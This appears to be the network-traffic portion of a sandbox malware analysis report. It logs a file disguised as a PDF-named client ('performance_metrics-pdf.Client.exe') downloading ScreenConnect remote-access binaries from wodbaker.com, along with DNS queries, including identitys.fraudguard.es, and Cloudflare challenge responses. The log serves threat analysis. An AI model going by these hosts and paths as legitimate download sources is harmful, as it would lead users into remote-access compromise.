Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: wodbaker.comAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbaker.c&oit=1&cp=10&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbaker.co&oit=3&cp=11&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbaker.com&oit=3&cp=12&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: wodbaker.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /App_Themes/DarkTeal/Default.css?__Cache=08be1136-3add-4a73-9d52-6ce1585c7407 HTTP/1.1Host: wodbaker.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://wodbaker.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: wodbaker.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Script.ashx?__Cache=20305397-d9ff-4ef3-bcce-3da684ec8881 HTTP/1.1Host: wodbaker.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://wodbaker.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Scripts/SC.main.ts?ScriptImportType=Classic&__Cache=8032cd77-99f2-48ec-b6b2-b64d99072a97 HTTP/1.1Host: wodbaker.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://wodbaker.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Script.ashx?__Cache=20305397-d9ff-4ef3-bcce-3da684ec8881 HTTP/1.1Host: wodbaker.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /App_Themes/DarkTeal/Default.css?r=Page.Background&__Cache=57459 HTTP/1.1Host: wodbaker.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://wodbaker.com/App_Themes/DarkTeal/Default.css?__Cache=08be1136-3add-4a73-9d52-6ce1585c7407Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Images/Extras.svg HTTP/1.1Host: wodbaker.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://wodbaker.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Images/ActionCenter.svg HTTP/1.1Host: wodbaker.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://wodbaker.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Scripts/SC.main.ts?ScriptImportType=Classic&__Cache=8032cd77-99f2-48ec-b6b2-b64d99072a97 HTTP/1.1Host: wodbaker.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Images/Applications.svg HTTP/1.1Host: wodbaker.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://wodbaker.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Services/PageService.ashx/GetLiveData HTTP/1.1Host: wodbaker.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Images/ActionCenter.svg HTTP/1.1Host: wodbaker.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Images/Extras.svg HTTP/1.1Host: wodbaker.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Images/Applications.svg HTTP/1.1Host: wodbaker.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /FavIcon.axd?__Cache=c4c0ddb3-5f8f-43d0-a3ce-98f56bb53f03 HTTP/1.1Host: wodbaker.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://wodbaker.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /App_Themes/DarkTeal/Default.css?r=Page.Background&__Cache=57459 HTTP/1.1Host: wodbaker.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /FavIcon.axd?__Cache=c4c0ddb3-5f8f-43d0-a3ce-98f56bb53f03 HTTP/1.1Host: wodbaker.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Login?Reason=0 HTTP/1.1Host: wodbaker.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://wodbaker.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Services/AuthenticationService.ashx/TryLogin HTTP/1.1Host: wodbaker.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Services/PageService.ashx/GetLiveData HTTP/1.1Host: wodbaker.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: identitys.fraudguard.es
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: wodbaker.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /report/v4?s=XFi4yMB0qfXbAZ1cdvdmwLjHrhkRe%2F%2BpWaQayyeXLbCAnLVbi8IeQV2Fu4uvFS0RKDUBKLKFclLBnuY%2BcRJjCv1rbJ156uT%2BTWaLpA179Kfh%2F9FJKzz64OA7Eda5VzS%2BGcoSLu7D5NYVLQ%3D%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 416Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 22 Nov 2024 21:59:31 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACritical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Content-Options: nosniffX-Frame-Options: SAMEORIGINcf-mitigated: challenge
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 22 Nov 2024 21:59:31 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACritical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Content-Options: nosniffX-Frame-Options: SAMEORIGINcf-mitigated: challenge
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 22 Nov 2024 21:59:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACritical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Content-Options: nosniffX-Frame-Options: SAMEORIGINcf-mitigated: challenge
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 22 Nov 2024 21:59:41 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: SFBdRa5vA2p2v5efCAyss38jTu6uEv0rr/w=$/vQQsxysNCtU/d2qReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xsLfmnTsWvlfVTw0ltAuzGxpSJWkzB804AHRz37Rmf5PZKdPV9Sx0TbogyqmApFnOZ4LeTbGwz82DK%2BVEdnyNdszEFNAB47pBxTfLpnkSm1dSj2MNSB7s7orjkwlsF9gJDDb%2FI4ElWJlgw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e6c3023dfcd4397-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2123&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1175&delivery_rate=1660034&cwnd=67&unsent_bytes=0&cid=f158f3d1d86b082c&ts=460&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 22 Nov 2024 21:59:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACritical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Content-Options: nosniffX-Frame-Options: SAMEORIGINcf-mitigated: challenge
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 22 Nov 2024 21:59:46 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: 3FUMbp8zSr1bQ5R2ryfk9AcqiSkSH4uzesA=$lNiKby6n+UvsAyL5Server: cloudflareCF-RAY: 8e6c3044d8b94375-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 22 Nov 2024 21:59:52 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: TAmxsVsAy4Z5rpWtscQFoKUqw4ZSgNMRVDQ=$mT1C5r5fYoZp51RiServer: cloudflareCF-RAY: 8e6c306bdf8aefa7-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 22 Nov 2024 21:59:59 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: KD+/Q5jXU6RmJOvi7JzL1ieq/sZ3Mq12g1A=$L9Miq+ypgrAONmKrServer: cloudflareCF-RAY: 8e6c3092ef354269-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 22 Nov 2024 22:00:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACritical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Content-Options: nosniffX-Frame-Options: SAMEORIGINcf-mitigated: challenge
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 22 Nov 2024 22:00:03 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: XFKibGLeeMI6WCSxe3s43UFirYJ6EDKR21A=$kqPRn4awsImiOEHrReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T84wszUi6UdFUqOb%2FqsHxaaCocd5JngdhnPerUR%2BHmIwL8iUiOqonpOl%2FJzMEgWCplBaxoo%2BxuomQi2bRNq7I9UQpNBE66Mb36kSUdVTNxl17N8YiphRADQ3%2BEEXa8BvAO5u%2Fs8syV3mNw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e6c30ae0a36423b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1620&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1175&delivery_rate=1744324&cwnd=216&unsent_bytes=0&cid=a480068f892728aa&ts=460&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 22 Nov 2024 22:00:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: accept-language,accept-charsetContent-Language: enCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1rkrcL5WY%2BvhcOWqv%2F0jaSAbpYrkQJkPcFJBYzVUGfxV7AXW4k0PDHW2WZDMJEbipvkmhxfz5w0rgW5fUerdFt3k7Vw8bIizdw%2BVGz8BFtlnwg14LjPKwTM3jWPFnMGWABOTkBS7wD8%2Fbg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e6c30e6dd3fc445-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1576&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2046&delivery_rate=1784841&cwnd=227&unsent_bytes=0&cid=c4a0b93c9f0560b8&ts=755&x=0"

Source: performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.000000000076B000.00000004.00000020.00020000.00000000.sdmp, performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C163000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C09E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BB55000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD37000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C086000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD47000.00000004.00000800.00020000.00000000.sdmp, 